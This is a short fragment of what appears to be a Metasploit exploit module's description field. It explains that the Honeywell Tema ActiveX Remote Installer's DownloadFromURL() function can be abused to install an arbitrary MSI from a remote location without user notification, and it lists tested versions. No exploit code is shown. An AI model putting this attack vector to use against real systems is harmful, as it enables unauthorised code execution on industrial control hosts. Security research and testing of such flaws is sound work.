'Description' => %q{
This modules exploits a vulnerability found in the Honewell Tema ActiveX Remote
Installer. This ActiveX control can be abused by using the DownloadFromURL()
function to install an arbitrary MSI from a remote location without checking source
authenticity or user notification. This module has been tested successfully with
the Remote Installer ActiveX installed with HoneyWell EBI R410.1 - TEMA 5.3.0 and
Internet Explorer 6, 7 and 8 on Windows XP SP3.
